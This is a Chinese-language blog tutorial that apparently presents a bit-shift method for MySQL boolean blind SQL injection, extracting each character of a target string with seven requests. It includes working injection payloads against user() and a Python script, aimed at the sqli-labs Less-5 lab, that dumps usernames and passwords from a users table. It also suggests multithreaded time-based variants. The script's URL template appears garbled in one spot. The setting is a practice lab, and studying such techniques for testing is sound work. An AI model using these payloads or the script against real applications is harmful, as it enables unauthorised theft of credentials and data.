赞
踩
高效的SQL盲注_位运算(一)
按照位运算高位补0, 低位丢弃的特性, 有了如下猜想:
如果想要每发送一个数据包就可以判断 8位二进制ascii码 的一位, 就必须保证当前的运算结果只有0000 0000和0000 0001两种可能
那么可不可以通过位左移与位右移相互配合, 依次将一个 8位二进制ascii码 的各个位 移动到最后一位, 其它7个位全部用0填充
有了猜想就需要验证, 如下为验证数据:
(黄色为本色, 蓝色为补充位, 删除线标记为丢弃位)
字符 r 的十进制ascii码为 114, 二进制ascii码为 01110010
以 01110010 为测试数据进行运算, 结果如下
由上述测试数据, 我们可以看到
位左移<
但现在的结果是杂乱的, 无规律可循
接着进行位右移>>, 且固定平移7位, 此时低位丢7个位, 高位补7个0, 对应的结果就是会把 8位二进制数 的前一位全部顶到最后一位, 又因为前7位均为0, 最后一位只能为0或者1, 所以此时运算结果只有两种可能.
0000 0000 或者 0000 0001
但事实并没有这么顺利, 如下为代入数据库后真实的运算结果
select ascii('r')<<0>>7 = 0
select ascii('r')<<1>>7 = 1
select ascii('r')<<2>>7 = 3
select ascii('r')<<3>>7 = 7
select ascii('r')<<4>>7 = 14
select ascii('r')<<5>>7 = 28
select ascii('r')<<6>>7 = 57
select ascii('r')<<7>>7 = 114
可以看到, 结果并不是0或者1, 意料之外, 情理之中
查阅的一些文章资料后, 找到了计算结果产生冲突的原因
在MySQL 中, 常量数字默认会以8个字节来表示, 8个字节即为64位
也就是说, 在MySQL数据库中, 每一个 数字并不止8位, 即使很小, 也是默认占64位的空间 (还有56个看不见的0在前面占着位置)
如果是这样的话, 那么上述位运算的位数, 已经不足以将 8位二进制ascii码 的各个位顶到最后一位
但这个问题并不难解决, 我们只需将上述运算的 位左移<< 依次均增加56位, 如下图
select ascii('r')<<56>>63 = 0
select ascii('r')<<57>>63 = 1
select ascii('r')<<58>>63 = 1
select ascii('r')<<59>>63 = 1
select ascii('r')<<60>>63 = 0
select ascii('r')<<61>>63 = 0
select ascii('r')<<62>>63 = 1
select ascii('r')<<63>>63 = 0
计算结果为10进制, 10进制的0和1与二进制的0和1换算过来是相等的, 直接拼接为 8位的二进制数: 01110010
转换成10进制为 114, 对应字符 r
ascii码中第一位均为0, 所以发送7个数据包即可
payload如下:
# MySQL布尔盲注中, 7个数据包判断当前用户名的第一个字符id=1' and ascii(substr((select user()),1,1))<<57>>63=0-- -id=1' and ascii(substr((select user()),1,1))<<58>>63=0-- -id=1' and ascii(substr((select user()),1,1))<<59>>63=0-- -id=1' and ascii(substr((select user()),1,1))<<60>>63=0-- -id=1' and ascii(substr((select user()),1,1))<<61>>63=0-- -id=1' and ascii(substr((select user()),1,1))<<62>>63=0-- -id=1' and ascii(substr((select user()),1,1))<<63>>63=0-- -# 判断第二个字符id=1' and ascii(substr((select user()),2,1))<<57>>63=0-- -id=1' and ascii(substr((select user()),2,1))<<58>>63=0-- -id=1' and ascii(substr((select user()),2,1))<<59>>63=0-- -...
以sqli-labs靶场第5关为例, 核心代码部分如下:
# -*- coding:utf-8 -*-import requestsdef bitOperation(url): result = "" # 存储获取的查询结果 url_bak = url # 外层循环由查询结果字符的长度控制,内层循环即为固定的7次位运算 for len in range(1, 777): # 此处长度可控,也可以不做判断直接给一个很长的数字 str = '0' # 设置当前字符的ascii码二进制的第一位默认为0 for bit in range(57, 64): url = url.format(len, bit) # 拼接出payload r = requests.get(url) # 以页面正常时的标识关键字作为区分,存在是为0,不存在是为1 if r.text.find("You are in") != -1: str += '0' else: str += '1' url = url_bak # 还原url为初识状态 # 二进制转换成十进制,也就是ascii码,再将ascii码转换成字符累加到result变量上 result += chr(int(str, 2)) print(result) if int(str, 2) == 0: # 不再作判断长度, 当ascii码为00000000时自动退出(多发7个请求) print("已超过此次查询字符串的长度,自动停止") return result if int(str, 2) == 127: print("查询内容不存在或语法错误...") return result return resultdef main(): url = "http://192.168.238.141/sqli-labs/Less-5/?id=1' and ascii(substr((select group_concat(concat_ws(0x7e,username,password)) from users),{},1))<>63=0-- -" bitOperation(url)if __name__ == "__main__": main()
脚本运行结果
由mysql执行语句监控可以看出每7个请求为一组, 判断一个字符
重要的是请求之间不在相互依赖, 也就是说, 如果某处只能时间盲注, 我们使用 sleep(2) 函数让请求延迟2秒作为判断条件, 那么理论上可以使用多线程同时发多个数据包, 然后对每一个请求返回的状态进行处理, 依次拼接即可. 而二分法则必须等待前一次的判断结果被返回才能进行下一次判断.
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。